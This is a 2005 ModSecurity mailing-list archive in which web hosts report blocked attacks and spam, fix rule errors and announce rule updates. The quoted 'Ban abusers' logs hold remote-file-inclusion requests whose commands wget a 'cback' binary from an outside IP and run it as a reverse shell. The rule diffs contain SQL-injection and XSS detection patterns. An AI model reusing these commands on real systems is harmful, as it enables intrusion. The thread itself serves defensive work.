From dallas at dreamhost.com Thu Dec 1 15:23:24 2005 From: dallas at dreamhost.com (Dallas Bethune) Date: Mon Jan 7 18:22:29 2008 Subject: [Modsecurity] modification to a rule Message-ID: We had a WebDAV user problem with this set of rules: SecFilterSelective REQUEST_METHOD "!^(GET|HEAD|POST|PUT|PROPFIND| OPTIONS)$" chain SecFilterSelective HTTP_Content-Type "!(^$|^application/x-www-form- urlencoded$|^multipart/form-data)" I added LOCK to the list of excluded request methods to fix it... SecFilterSelective REQUEST_METHOD "!^(GET|HEAD|POST|PUT|PROPFIND| OPTIONS|LOCK)$" chain SecFilterSelective HTTP_Content-Type "!(^$|^application/x-www-form- urlencoded$|^multipart/form-data)" Was LOCK left off originally for a specific reason or is this change fine? Dallas ................................................ DreamHost Web Hosting http://www.dreamhost.com/ From michal at sabren.com Thu Dec 1 17:01:42 2005 From: michal at sabren.com (Michal Wallace) Date: Mon Jan 7 18:22:29 2008 Subject: {Disarmed} RE: [Modsecurity] In-Reply-To: <49952.192.160.51.70.1133373101.squirrel@webmail.half-asleep.com> References: <49952.192.160.51.70.1133373101.squirrel@webmail.half-asleep.com> Message-ID: On Wed, 30 Nov 2005, Daniel Segall wrote: > I agree with Faris. It really isn't worth the effort of maintaining > seperate rules. Those who choose to use outdated technologies can suffer > the consequences of things not working. If we go with the preprocessor approach I suggested, there's no reason the script can't strip out the ID's for the legacy users. Sincerely, Michal J Wallace Sabren Enterprises, Inc. ------------------------------------- contact: michal@sabren.com hosting: http://www.cornerhost.com/ my site: http://www.withoutane.com/ ------------------------------------- From admin at thenamegame.com Thu Dec 1 23:26:46 2005 From: admin at thenamegame.com (admin@thenamegame.com) Date: Mon Jan 7 18:22:29 2008 Subject: [Modsecurity] Ban abusers Message-ID: Site defacement attempt Request: 201.13.8.5 - - [01/Dec/2005:19:43:07 -0500] "GET //tools/send_reminders.php?includedir=http://www.geocities.com/shooter1resou rce/newcmd.gif?&cmd=id HTTP/1.0" 403 1749 Attempt to download to /tmp Request: 199.249.165.180 - - [01/Dec/2005:06:21:38 -0500] "GET /protection.phpprotection.php?action=logout&siteurl=http://148.81.141.12/cmd .dat?&cmd=cd%20/tmp;wget%2081.174.26.111/cback;chmod%20744%20cback;./cback%2 0194.112.220.37%208080;echo%20YYY;echo| HTTP/1.1" 403 0 Request: 199.249.165.180 - - [01/Dec/2005:06:21:40 -0500] "GET /hope/protection.php?action=logout&siteurl=http://148.81.141.12/cmd.dat?&cmd =cd%20/tmp;wget%2081.174.26.111/cback;chmod%20744%20cback;./cback%20194.112. 220.37%208080;echo%20YYY;echo| HTTP/1.1" 403 0 Request: 199.249.165.180 - - [01/Dec/2005:06:21:41 -0500] "GET /diane/protection.php?action=logout&siteurl=http://148.81.141.12/cmd.dat?&cm d=cd%20/tmp;wget%2081.174.26.111/cback;chmod%20744%20cback;./cback%20194.112 .220.37%208080;echo%20YYY;echo| HTTP/1.1" 403 0 Request: 199.249.165.180 - - [01/Dec/2005:06:21:47 -0500] "GET /protection/protection.php?action=logout&siteurl=http://148.81.141.12/cmd.da t?&cmd=cd%20/tmp;wget%2081.174.26.111/cback;chmod%20744%20cback;./cback%2019 4.112.220.37%208080;echo%20YYY;echo| HTTP/1.1" 403 1768 GET /hope/protection.php?action=logout&siteurl=http://148.81.141.12/cmd.dat?&cmd =cd%20/tmp;wget%2081.174.26.111/cback;chmod%20744%20cback;./cback%20194.112. 220.37%208080;echo%20YYY;echo| HTTP/1.1 -------------- next part -------------- An HTML attachment was scrubbed... URL: http://lists.gotroot.com/pipermail/modsecurity/attachments/20051201/5373704f/attachment.html From admin at efastservers.com Thu Dec 1 23:38:22 2005 From: admin at efastservers.com (admin@efastservers.com) Date: Mon Jan 7 18:22:29 2008 Subject: [Modsecurity] Ban abusers Message-ID: See this thread. http://www.codegrrl.com/forums/index.php?showtopic=11116 _____ From: modsecurity-bounces@gotroot.com [mailto:modsecurity-bounces@gotroot.com] On Behalf Of admin@thenamegame.com Sent: Thursday, December 01, 2005 11:27 PM To: modsecurity@gotroot.com Subject: [Modsecurity] Ban abusers Site defacement attempt Request: 201.13.8.5 - - [01/Dec/2005:19:43:07 -0500] "GET //tools/send_reminders.php?includedir=http://www.geocities.com/shooter1resou rce/newcmd.gif?&cmd=id HTTP/1.0" 403 1749 Attempt to download to /tmp Request: 199.249.165.180 - - [01/Dec/2005:06:21:38 -0500] "GET /protection.phpprotection.php?action=logout&siteurl=http://148.81.141.12/cmd .dat?&cmd=cd%20/tmp;wget%2081.174.26.111/cback;chmod%20744%20cback;./cback%2 0194.112.220.37%208080;echo%20YYY;echo| HTTP/1.1" 403 0 Request: 199.249.165.180 - - [01/Dec/2005:06:21:40 -0500] "GET /hope/protection.php?action=logout&siteurl=http://148.81.141.12/cmd.dat?&cmd =cd%20/tmp;wget%2081.174.26.111/cback;chmod%20744%20cback;./cback%20194.112. 220.37%208080;echo%20YYY;echo| HTTP/1.1" 403 0 Request: 199.249.165.180 - - [01/Dec/2005:06:21:41 -0500] "GET /diane/protection.php?action=logout&siteurl=http://148.81.141.12/cmd.dat?&cm d=cd%20/tmp;wget%2081.174.26.111/cback;chmod%20744%20cback;./cback%20194.112 .220.37%208080;echo%20YYY;echo| HTTP/1.1" 403 0 Request: 199.249.165.180 - - [01/Dec/2005:06:21:47 -0500] "GET /protection/protection.php?action=logout&siteurl=http://148.81.141.12/cmd.da t?&cmd=cd%20/tmp;wget%2081.174.26.111/cback;chmod%20744%20cback;./cback%2019 4.112.220.37%208080;echo%20YYY;echo| HTTP/1.1" 403 1768 GET /hope/protection.php?action=logout&siteurl=http://148.81.141.12/cmd.dat?&cmd =cd%20/tmp;wget%2081.174.26.111/cback;chmod%20744%20cback;./cback%20194.112. 220.37%208080;echo%20YYY;echo| HTTP/1.1 -------------- next part -------------- An HTML attachment was scrubbed... URL: http://lists.gotroot.com/pipermail/modsecurity/attachments/20051201/041c1fd8/attachment.html From mike at gotroot.com Thu Dec 1 23:45:57 2005 From: mike at gotroot.com (Michael Shinn) Date: Mon Jan 7 18:22:29 2008 Subject: [Modsecurity] Ban abusers Message-ID: <438FD185.5070100@gotroot.com> These attacks should already be protected against in the rules, although I do appreciate the reports as the source IPs are helpful for the BLs as are the fopen sites for the other BLs. Please keep sending these, I'm working on a tool to help automate this, so you can just make your box auto-report attacks to me for future inclusion in the rulesets. admin@efastservers.com wrote: > See this thread. > > > > http://www.codegrrl.com/forums/index.php?showtopic=11116 > > > > ------------------------------------------------------------------------ > > *From:* modsecurity-bounces@gotroot.com > [mailto:modsecurity-bounces@gotroot.com] *On Behalf Of > *admin@thenamegame.com > *Sent:* Thursday, December 01, 2005 11:27 PM > *To:* modsecurity@gotroot.com > *Subject:* [Modsecurity] Ban abusers > > > > Site defacement attempt > > Request: 201.13.8.5 - - [01/Dec/2005:19:43:07 -0500] "GET > //tools/send_reminders.php?includedir=http://www.geocities.com/shooter1resource/newcmd.gif?&cmd=id > HTTP/1.0" 403 1749 > > > > Attempt to download to /tmp > > Request: 199.249.165.180 - - [01/Dec/2005:06:21:38 -0500] "GET > /protection.phpprotection.php?action=logout&siteurl=http://148.81.141.12/cmd.dat?&cmd=cd%20/tmp;wget%2081.174.26.111/cback;chmod%20744%20cback;./cback%20194.112.220.37%208080;echo%20YYY;echo| > HTTP/1.1" 403 0 > > > > Request: 199.249.165.180 - - [01/Dec/2005:06:21:40 -0500] "GET > /hope/protection.php?action=logout&siteurl=http://148.81.141.12/cmd.dat?&cmd=cd%20/tmp;wget%2081.174.26.111/cback;chmod%20744%20cback;./cback%20194.112.220.37%208080;echo%20YYY;echo| > HTTP/1.1" 403 0 > > > > Request: 199.249.165.180 - - [01/Dec/2005:06:21:41 -0500] "GET > /diane/protection.php?action=logout&siteurl=http://148.81.141.12/cmd.dat?&cmd=cd%20/tmp;wget%2081.174.26.111/cback;chmod%20744%20cback;./cback%20194.112.220.37%208080;echo%20YYY;echo| > HTTP/1.1" 403 0 > > > > Request: 199.249.165.180 - - [01/Dec/2005:06:21:47 -0500] "GET > /protection/protection.php?action=logout&siteurl=http://148.81.141.12/cmd.dat?&cmd=cd%20/tmp;wget%2081.174.26.111/cback;chmod%20744%20cback;./cback%20194.112.220.37%208080;echo%20YYY;echo| > HTTP/1.1" 403 1768 > > > > GET > /hope/protection.php?action=logout&siteurl=http://148.81.141.12/cmd.dat?&cmd=cd%20/tmp;wget%2081.174.26.111/cback;chmod%20744%20cback;./cback%20194.112.220.37%208080;echo%20YYY;echo| > HTTP/1.1 > > > >------------------------------------------------------------------------ > >_______________________________________________ >Modsecurity mailing list >Modsecurity@gotroot.com >http://lists.gotroot.com/mailman/listinfo/modsecurity > > From admin at thenamegame.com Thu Dec 1 23:52:18 2005 From: admin at thenamegame.com (admin@thenamegame.com) Date: Mon Jan 7 18:22:29 2008 Subject: [Modsecurity] Ban abusers In-Reply-To: <438FD185.5070100@gotroot.com> Message-ID: Im not sure what the best way to report abusers is? Should we just send the ips excluding the caught rule as I have a number of new comment spammer ips to submit? -----Original Message----- From: modsecurity-bounces@gotroot.com [mailto:modsecurity-bounces@gotroot.com] On Behalf Of Michael Shinn Sent: Thursday, December 01, 2005 11:46 PM To: admin@efastservers.com Cc: modsecurity@gotroot.com Subject: Re: [Modsecurity] Ban abusers These attacks should already be protected against in the rules, although I do appreciate the reports as the source IPs are helpful for the BLs as are the fopen sites for the other BLs. Please keep sending these, I'm working on a tool to help automate this, so you can just make your box auto-report attacks to me for future inclusion in the rulesets. admin@efastservers.com wrote: > See this thread. > > > > http://www.codegrrl.com/forums/index.php?showtopic=11116 > > > > ------------------------------------------------------------------------ > > *From:* modsecurity-bounces@gotroot.com > [mailto:modsecurity-bounces@gotroot.com] *On Behalf Of > *admin@thenamegame.com > *Sent:* Thursday, December 01, 2005 11:27 PM > *To:* modsecurity@gotroot.com > *Subject:* [Modsecurity] Ban abusers > > > > Site defacement attempt > > Request: 201.13.8.5 - - [01/Dec/2005:19:43:07 -0500] "GET > //tools/send_reminders.php?includedir=http://www.geocities.com/shooter1resou rce/newcmd.gif?&cmd=id > HTTP/1.0" 403 1749 > > > > Attempt to download to /tmp > > Request: 199.249.165.180 - - [01/Dec/2005:06:21:38 -0500] "GET > /protection.phpprotection.php?action=logout&siteurl=http://148.81.141.12/cmd .dat?&cmd=cd%20/tmp;wget%2081.174.26.111/cback;chmod%20744%20cback;./cback%2 0194.112.220.37%208080;echo%20YYY;echo| > HTTP/1.1" 403 0 > > > > Request: 199.249.165.180 - - [01/Dec/2005:06:21:40 -0500] "GET > /hope/protection.php?action=logout&siteurl=http://148.81.141.12/cmd.dat?&cmd =cd%20/tmp;wget%2081.174.26.111/cback;chmod%20744%20cback;./cback%20194.112. 220.37%208080;echo%20YYY;echo| > HTTP/1.1" 403 0 > > > > Request: 199.249.165.180 - - [01/Dec/2005:06:21:41 -0500] "GET > /diane/protection.php?action=logout&siteurl=http://148.81.141.12/cmd.dat?&cm d=cd%20/tmp;wget%2081.174.26.111/cback;chmod%20744%20cback;./cback%20194.112 .220.37%208080;echo%20YYY;echo| > HTTP/1.1" 403 0 > > > > Request: 199.249.165.180 - - [01/Dec/2005:06:21:47 -0500] "GET > /protection/protection.php?action=logout&siteurl=http://148.81.141.12/cmd.da t?&cmd=cd%20/tmp;wget%2081.174.26.111/cback;chmod%20744%20cback;./cback%2019 4.112.220.37%208080;echo%20YYY;echo| > HTTP/1.1" 403 1768 > > > > GET > /hope/protection.php?action=logout&siteurl=http://148.81.141.12/cmd.dat?&cmd =cd%20/tmp;wget%2081.174.26.111/cback;chmod%20744%20cback;./cback%20194.112. 220.37%208080;echo%20YYY;echo| > HTTP/1.1 > > > >------------------------------------------------------------------------ > >_______________________________________________ >Modsecurity mailing list >Modsecurity@gotroot.com >http://lists.gotroot.com/mailman/listinfo/modsecurity > > _______________________________________________ Modsecurity mailing list Modsecurity@gotroot.com http://lists.gotroot.com/mailman/listinfo/modsecurity From lists at truweb.org Fri Dec 2 04:07:31 2005 From: lists at truweb.org (List Keeper) Date: Mon Jan 7 18:22:29 2008 Subject: [Modsecurity] Apache1: useragents.conf: line 23 Message-ID: <43900ED3.3000409@truweb.org> Hello, I reported this about a week ago, but I noticed the rule was still left in. I am having trouble with the rule using the following: Apache 1.3.34 ModSecurity 1.9.1 Syntax error on line 23 of /usr/local/apache/conf/modsec/useragents.conf: Invalid regular expression: <(.|\s|\n)*?(script|about|applet|activex|chrome|object)(.|\s|\n)?>.*<(.|\s|\n)?(script|about|applet|activex|chrome|object) #XSS in the UA field SecFilterSelective HTTP_USER_AGENT "<(.|\s|\n)*?(script|about|applet|activex|chrome|object)(.|\s|\n)?>.*<(.|\s|\n)?(script|about|applet|activex|chrome|object)" Thank you. :) -- Sincerely, Your Neighborhood List Keeper From mike at gotroot.com Fri Dec 2 06:59:15 2005 From: mike at gotroot.com (Michael Shinn) Date: Mon Jan 7 18:22:29 2008 Subject: [Modsecurity] Ban abusers Message-ID: <43903713.4080408@gotroot.com> admin@thenamegame.com wrote: >Im not sure what the best way to report abusers is? Should we just send the >ips excluding the caught rule as I have a number of new comment spammer ips >to submit? > > No, please keep sending your audit_log entries, and thank you for what you have sent - I appreciate any feedback I can get on the rules. As for the details, as much as you can send would be further appreciated. I'm working on an RBL system, and I need the added the context to divide up the IPs, URLs and methods (attackers, spammers, proxies, etc.) - also, it helps me to check the rules to make sure they are working correctly. But ultimately, feel free to use whatever method works best for you, and thank you again for your reports so far. :-) >-----Original Message----- >From: modsecurity-bounces@gotroot.com >[mailto:modsecurity-bounces@gotroot.com] On Behalf Of Michael Shinn >Sent: Thursday, December 01, 2005 11:46 PM >To: admin@efastservers.com >Cc: modsecurity@gotroot.com >Subject: Re: [Modsecurity] Ban abusers > >These attacks should already be protected against in the rules, although >I do appreciate the reports as the source IPs are helpful for the BLs as >are the fopen sites for the other BLs. Please keep sending these, I'm >working on a tool to help automate this, so you can just make your box >auto-report attacks to me for future inclusion in the rulesets. > >admin@efastservers.com wrote: > > > >>See this thread. >> >> >> >>http://www.codegrrl.com/forums/index.php?showtopic=11116 >> >> >> >>------------------------------------------------------------------------ >> >>*From:* modsecurity-bounces@gotroot.com >>[mailto:modsecurity-bounces@gotroot.com] *On Behalf Of >>*admin@thenamegame.com >>*Sent:* Thursday, December 01, 2005 11:27 PM >>*To:* modsecurity@gotroot.com >>*Subject:* [Modsecurity] Ban abusers >> >> >> >>Site defacement attempt >> >>Request: 201.13.8.5 - - [01/Dec/2005:19:43:07 -0500] "GET >> >> >> >//tools/send_reminders.php?includedir=http://www.geocities.com/shooter1resou >rce/newcmd.gif?&cmd=id > > >>HTTP/1.0" 403 1749 >> >> >> >>Attempt to download to /tmp >> >>Request: 199.249.165.180 - - [01/Dec/2005:06:21:38 -0500] "GET >> >> >> >/protection.phpprotection.php?action=logout&siteurl=http://148.81.141.12/cmd >.dat?&cmd=cd%20/tmp;wget%2081.174.26.111/cback;chmod%20744%20cback;./cback%2 >0194.112.220.37%208080;echo%20YYY;echo| > > >>HTTP/1.1" 403 0 >> >> >> >>Request: 199.249.165.180 - - [01/Dec/2005:06:21:40 -0500] "GET >> >> >> >/hope/protection.php?action=logout&siteurl=http://148.81.141.12/cmd.dat?&cmd >=cd%20/tmp;wget%2081.174.26.111/cback;chmod%20744%20cback;./cback%20194.112. >220.37%208080;echo%20YYY;echo| > > >>HTTP/1.1" 403 0 >> >> >> >>Request: 199.249.165.180 - - [01/Dec/2005:06:21:41 -0500] "GET >> >> >> >/diane/protection.php?action=logout&siteurl=http://148.81.141.12/cmd.dat?&cm >d=cd%20/tmp;wget%2081.174.26.111/cback;chmod%20744%20cback;./cback%20194.112 >.220.37%208080;echo%20YYY;echo| > > >>HTTP/1.1" 403 0 >> >> >> >>Request: 199.249.165.180 - - [01/Dec/2005:06:21:47 -0500] "GET >> >> >> >/protection/protection.php?action=logout&siteurl=http://148.81.141.12/cmd.da >t?&cmd=cd%20/tmp;wget%2081.174.26.111/cback;chmod%20744%20cback;./cback%2019 >4.112.220.37%208080;echo%20YYY;echo| > > >>HTTP/1.1" 403 1768 >> >> >> >>GET >> >> >> >/hope/protection.php?action=logout&siteurl=http://148.81.141.12/cmd.dat?&cmd >=cd%20/tmp;wget%2081.174.26.111/cback;chmod%20744%20cback;./cback%20194.112. >220.37%208080;echo%20YYY;echo| > > >>HTTP/1.1 >> >> >> >>------------------------------------------------------------------------ >> >>_______________________________________________ >>Modsecurity mailing list >>Modsecurity@gotroot.com >>http://lists.gotroot.com/mailman/listinfo/modsecurity >> >> >> >> > >_______________________________________________ >Modsecurity mailing list >Modsecurity@gotroot.com >http://lists.gotroot.com/mailman/listinfo/modsecurity > >_______________________________________________ >Modsecurity mailing list >Modsecurity@gotroot.com >http://lists.gotroot.com/mailman/listinfo/modsecurity > > From admin at thenamegame.com Sat Dec 3 02:05:59 2005 From: admin at thenamegame.com (admin@thenamegame.com) Date: Mon Jan 7 18:22:29 2008 Subject: [Modsecurity] RE: BCC Spammer ips Message-ID: Request: 203.162.27.199 mod_security-message: Access denied with code 403. Pattern match "Bcc:" at POST_PAYLOAD. bcc%3A+charleselegb%40aol.com Request: 203.162.27.198 mod_security-message: Access denied with code 403. Pattern match "Bcc:" at POST_PAYLOAD. bcc%3A+michaelhorowitzzzz%40SoftHome.net Request: 61.11.62.159 mod_security-message: Access denied with code 403. Pattern match "Bcc:" at POST_PAYLOAD. bcc%3A+caitl57421%40aol.com Request: 203.162.27.201 mod_security-message: Access denied with code 403. Pattern match "Bcc:" at POST_PAYLOAD. bcc%3A+caitl57421%40aol.com Request: 212.62.19.185 mod_security-message: Access denied with code 403. Pattern match "Bcc:" at POST_PAYLOAD. bcc%3A+michaelhorowitzzzz%40SoftHome.net Request: 65.174.40.118 mod_security-message: Access denied with code 403. Pattern match "Bcc:" at POST_PAYLOAD. bcc%3A+charleselegbed%40aol.com Request: 196.40.82.195 Request: 61.109.158.227 Request: 80.231.146.143 Request: 211.211.244.254 bcc%3A+charleselegb%40aol.com -------------- next part -------------- An HTML attachment was scrubbed... URL: http://lists.gotroot.com/pipermail/modsecurity/attachments/20051203/8d963114/attachment.html From admin at efastservers.com Sat Dec 3 02:15:50 2005 From: admin at efastservers.com (admin@efastservers.com) Date: Mon Jan 7 18:22:29 2008 Subject: [Modsecurity] RE: BCC Spammer ips Message-ID: Add this one to the list. Tried to post numerious links to blogs sites; Request: 69.50.160.82 Referer: http://4allfree.com/cgi/gb.id?hydrocodoner Referer: http://h1.ripway.com/rxer/oxycontin-online.html Referer: http://health.groups.yahoo.com/group/phentermine-pharmacy/ WHY? Already banned this Moron at the firewall! :-) _____ From: modsecurity-bounces@gotroot.com [mailto:modsecurity-bounces@gotroot.com] On Behalf Of admin@thenamegame.com Sent: Saturday, December 03, 2005 2:06 AM To: modsecurity@gotroot.com Subject: [Modsecurity] RE: BCC Spammer ips Request: 203.162.27.199 mod_security-message: Access denied with code 403. Pattern match "Bcc:" at POST_PAYLOAD. bcc%3A+charleselegb%40aol.com Request: 203.162.27.198 mod_security-message: Access denied with code 403. Pattern match "Bcc:" at POST_PAYLOAD. bcc%3A+michaelhorowitzzzz%40SoftHome.net Request: 61.11.62.159 mod_security-message: Access denied with code 403. Pattern match "Bcc:" at POST_PAYLOAD. bcc%3A+caitl57421%40aol.com Request: 203.162.27.201 mod_security-message: Access denied with code 403. Pattern match "Bcc:" at POST_PAYLOAD. bcc%3A+caitl57421%40aol.com Request: 212.62.19.185 mod_security-message: Access denied with code 403. Pattern match "Bcc:" at POST_PAYLOAD. bcc%3A+michaelhorowitzzzz%40SoftHome.net Request: 65.174.40.118 mod_security-message: Access denied with code 403. Pattern match "Bcc:" at POST_PAYLOAD. bcc%3A+charleselegbed%40aol.com Request: 196.40.82.195 Request: 61.109.158.227 Request: 80.231.146.143 Request: 211.211.244.254 bcc%3A+charleselegb%40aol.com -------------- next part -------------- An HTML attachment was scrubbed... URL: http://lists.gotroot.com/pipermail/modsecurity/attachments/20051203/71d3f229/attachment.html From mike at gotroot.com Sat Dec 3 10:33:40 2005 From: mike at gotroot.com (Michael Shinn) Date: Mon Jan 7 18:22:29 2008 Subject: {Disarmed} RE: [Modsecurity] In-Reply-To: References: <49952.192.160.51.70.1133373101.squirrel@webmail.half-asleep.com> Message-ID: <1133624020.3219.8.camel@localhost.localdomain> I may setup a preprocessor anyway, so I can change some of the reused segments more easily (SQL injection for instance). I need to create a todo list and put up bugzilla at this rate. ;-) (No kidding, I need to put up bugzilla...) On Thu, 2005-12-01 at 17:01 -0500, Michal Wallace wrote: > On Wed, 30 Nov 2005, Daniel Segall wrote: > > > I agree with Faris. It really isn't worth the effort of maintaining > > seperate rules. Those who choose to use outdated technologies can suffer > > the consequences of things not working. > > If we go with the preprocessor approach I suggested, > there's no reason the script can't strip out the > ID's for the legacy users. > > Sincerely, > > Michal J Wallace > Sabren Enterprises, Inc. > ------------------------------------- > contact: michal@sabren.com > hosting: http://www.cornerhost.com/ > my site: http://www.withoutane.com/ > ------------------------------------- > > _______________________________________________ > Modsecurity mailing list > Modsecurity@gotroot.com > http://lists.gotroot.com/mailman/listinfo/modsecurity -- Michael T. Shinn KeyID:0xDAE2EC86 Key Fingerprint: 1884 E657 A6DF DF1B BFB9 E2C5 DCC6 5297 DAE2 EC86 http://pgp.mit.edu:11371/pks/lookup?op=get&search=0xDAE2EC86 Got Root? http://www.gotroot.com ModSecurity WebServer Firewall: http://www.modsecurityrules.com Troubleshooting Firewalls: http://troubleshootingfirewalls.com -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 827 bytes Desc: This is a digitally signed message part Url : http://lists.gotroot.com/pipermail/modsecurity/attachments/20051203/f20ae4a9/attachment.bin From mike at gotroot.com Sat Dec 3 10:35:59 2005 From: mike at gotroot.com (Michael Shinn) Date: Mon Jan 7 18:22:29 2008 Subject: [Modsecurity] Apache1: useragents.conf: line 23 In-Reply-To: <43900ED3.3000409@truweb.org> References: <43900ED3.3000409@truweb.org> Message-ID: <1133624159.3219.14.camel@localhost.localdomain> Putting out a new release today that should fix this. Thank you for reminding me about this one. On Fri, 2005-12-02 at 03:07 -0600, List Keeper wrote: > Hello, I reported this about a week ago, but I noticed the rule was > still left in. > > I am having trouble with the rule using the following: > Apache 1.3.34 > ModSecurity 1.9.1 > > Syntax error on line 23 of /usr/local/apache/conf/modsec/useragents.conf: > Invalid regular expression: > <(.|\s|\n)*?(script|about|applet|activex|chrome|object)(.|\s|\n)?>.*<(.|\s|\n)?(script|about|applet|activex|chrome|object) > > #XSS in the UA field > SecFilterSelective HTTP_USER_AGENT > "<(.|\s|\n)*?(script|about|applet|activex|chrome|object)(.|\s|\n)?>.*<(.|\s|\n)?(script|about|applet|activex|chrome|object)" > > Thank you. :) > -- Michael T. Shinn KeyID:0xDAE2EC86 Key Fingerprint: 1884 E657 A6DF DF1B BFB9 E2C5 DCC6 5297 DAE2 EC86 http://pgp.mit.edu:11371/pks/lookup?op=get&search=0xDAE2EC86 Got Root? http://www.gotroot.com ModSecurity WebServer Firewall: http://www.modsecurityrules.com Troubleshooting Firewalls: http://troubleshootingfirewalls.com -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 827 bytes Desc: This is a digitally signed message part Url : http://lists.gotroot.com/pipermail/modsecurity/attachments/20051203/bc907edc/attachment.bin From mike at gotroot.com Sat Dec 3 10:40:10 2005 From: mike at gotroot.com (Michael Shinn) Date: Mon Jan 7 18:22:29 2008 Subject: [Modsecurity] N-20051203-01 release, plus a new ruleset: "recons.conf" Message-ID: <1133624410.3219.17.camel@localhost.localdomain> I've added a new ruleset, "recons.conf" which includes known "Google Hack" signatures. Consider these an experiment, I have been running with these kinds of rules for many months, so they are safe, but their value is still something I'm watching. Please let me know how they work (or don't work for you). Enjoy! Diff of /etc/modsecurity/apache2-rules.conf Diff of /etc/modsecurity/blacklist.conf 12c12 < #Version: N-20051203-01 --- > #Version: N-20051201-01 845c845 < SecFilterSelective HTTP_Referer|ARGS "\.bravehost\.com" --- > SecFilterSelective HTTP_Referer|ARGS "cialisusa\.bravehost\.com" 1479a1480 > SecFilterSelective HTTP_Referer|ARGS "gb\.com" 1481,1485d1481 < SecFilterSelective HTTP_Referer|ARGS "\.guarantee-money\.com" < SecFilterSelective HTTP_Referer|ARGS ".conjuratia\.com/" < SecFilterSelective HTTP_Referer|ARGS "onlycelebs\.typepad\.com" < SecFilterSelective HTTP_Referer|ARGS "now-cash\.com" < SecFilterSelective HTTP_Referer|ARGS "\.6q\.org" 2872d2867 < SecFilterSelective HTTP_Referer|ARGS "(repair|restore|bad)+[\w \-_.]*credit" 6532,6534d6526 < SecFilterSelective HTTP_Referer|ARGS "pharmacy-top-ranked\.com" < SecFilterSelective HTTP_Referer|ARGS "\.e-pills-4u\.com" < SecFilterSelective HTTP_Referer|ARGS "threethreethree\.us" 6726,6727d6717 < SecFilterSelective HTTP_Referer "personal-loans" < SecFilterSelective HTTP_Referer "(cash|payday)-advance" 6729,6730d6718 < SecFilterSelective HTTP_Referer|ARGS "\.uccpp\.org" < SecFilterSelective HTTP_Referer|ARGS "\.4u-money\.com" 6731a6720 > SecFilterSelective HTTP_Referer|ARGS "\.bravehost\.com" 6768,6774d6756 < SecFilterSelective HTTP_Referer|ARGS "\.cheat-elite\.com" < SecFilterSelective HTTP_Referer|ARGS "\.vtoyshop\.com" < SecFilterSelective HTTP_Referer|ARGS "pharmacies-online" < SecFilterSelective HTTP_Referer|ARGS "\.e-top-pharmacy\.com" < SecFilterSelective HTTP_Referer|ARGS "buy-2005\.com" < SecFilterSelective HTTP_Referer|ARGS "available-prescription\.com" < SecFilterSelective HTTP_Referer|ARGS "10-pills\.com" Diff of /etc/modsecurity/proxy.conf Diff of /etc/modsecurity/rules.conf 13c13 < # Version: N-20051203-01 --- > # Version: N-20051201-02 18d17 < # Rules work with modsecurity 1.9.x and above only 24c23 < SecFilterSelective THE_REQUEST "!HTTP\/(0\.9|1\.0|1\.1)$" "id:300000,rev:1,severity:3,msg:'Invalid HTTP protocol attempt'" --- > SecFilterSelective THE_REQUEST "!HTTP\/(0\.9|1\.0|1\.1)$" id:300000 29,30c28 < #SecFilterSelective REQUEST_METHOD "!^(GET|HEAD|POST|PUT|PROPFIND| OPTIONS)$" chain,"id:300001,rev:1,severity:3,msg:'Unauthorized HTTP request method'" < SecFilterSelective REQUEST_METHOD "!^(GET|HEAD|POST|PUT|PROPFIND| OPTIONS)$" chain --- > SecFilterSelective REQUEST_METHOD "!^(GET|HEAD|POST|PUT|PROPFIND| OPTIONS)$" chain 109c107 < SecFilterSelective THE_REQUEST "!((/privmsg|/ticket/admin|/misc| tiki-editpage|/post|/horde/imp/compose|/posting)\.php|/modules\.php \?op=modload&name=(Downloads|Submit_News)|/index\.php \?name=PNphpBB2&file=posting&mode=reply.*|/phpMyAdmin/|/PNphpBB2-posting \.html|/otrs/index\.pl)" chain --- > SecFilterSelective THE_REQUEST "!((/privmsg|/ticket/admin|/misc| tiki-editpage|/post|/horde/imp/compose|/posting)\.php|/modules\.php \?op=modload&name=Downloads.*|/index\.php \?name=PNphpBB2&file=posting&mode=reply.*|/phpMyAdmin/|/PNphpBB2-posting \.html|/otrs/index\.pl)" chain 138d135 < SecFilterSelective REQUEST_URI "!(banner_click| tiki-view_cache|/horde/index|/horde/services/go)" chain 3947,4057d3943 < < #PhpX <= 3.5.9 SQL Injection -> login bypass -> remote command/code execution < SecFilterSelective THE_REQUEST "/admin/" chain < SecFilterSelective ARG_username "((select|grant|delete|insert|drop| alter|replace|truncate|update|create|rename|describe)[[:space:]]+[A-Z| a-z|0-9|\*| |\,]+[[:space:]]+(from|into|table|database|index| view)[[:space:]]+[A-Z|a-z|0-9|\*| |\,]|\'|UNION.*SELECT.*FROM|or user_id=2)" < SecFilterSelective REQUEST_URI "files/.*\.php\.menu\?cmd=" < < #NetClassifieds Multiple SQL Injection Vulnerabilities < SecFilterSelective REQUEST_URI "/(ViewCat|gallery)\.php" chain < SecFilterSelective ARG_Catid "((select|grant|delete|insert|drop|alter| replace|truncate|update|create|rename|describe)[[:space:]]+[A-Z|a-z|0-9| \*| |\,]+[[:space:]]+(from|into|table|database|index| view)[[:space:]]+[A-Z|a-z|0-9|\*| |\,]|\'|UNION.*SELECT.*FROM)" < SecFilterSelective REQUEST_URI "/ViewItem\.php" chain < SecFilterSelective ARG_ItemNum "((select|grant|delete|insert|drop| alter|replace|truncate|update|create|rename|describe)[[:space:]]+[A-Z| a-z|0-9|\*| |\,]+[[:space:]]+(from|into|table|database|index| view)[[:space:]]+[A-Z|a-z|0-9|\*| |\,]|\'|UNION.*SELECT.*FROM)" < < #Coppermine Photo Gallery "relocate_server.php" Exposure of Configuration < SecFilterSelective REQUEST_URI "/relocate_server\.php" < < #WebCalendar HTTP Response Splitting and SQL Injection Vulnerabilities < SecFilterSelective REQUEST_URI "/edit_report_handler\.php" chain < SecFilterSelective ARG_time_range "((select|grant|delete|insert|drop| alter|replace|truncate|update|create|rename|describe)[[:space:]]+[A-Z| a-z|0-9|\*| |\,]+[[:space:]]+(from|into|table|database|index| view)[[:space:]]+[A-Z|a-z|0-9|\*| |\,]|\'|UNION.*SELECT.*FROM)" < SecFilterSelective REQUEST_URI "/layers_toggle\.php" chain < SecFilterSelective ARG_ret "HTTP" < < #Instant Photo Gallery SQL Injection Vulnerabilities < SecFilterSelective REQUEST_URI "/portfolio\.php" chain < SecFilterSelective ARG_cat_id "((select|grant|delete|insert|drop| alter|replace|truncate|update|create|rename|describe)[[:space:]]+[A-Z| a-z|0-9|\*| |\,]+[[:space:]]+(from|into|table|database|index| view)[[:space:]]+[A-Z|a-z|0-9|\*| 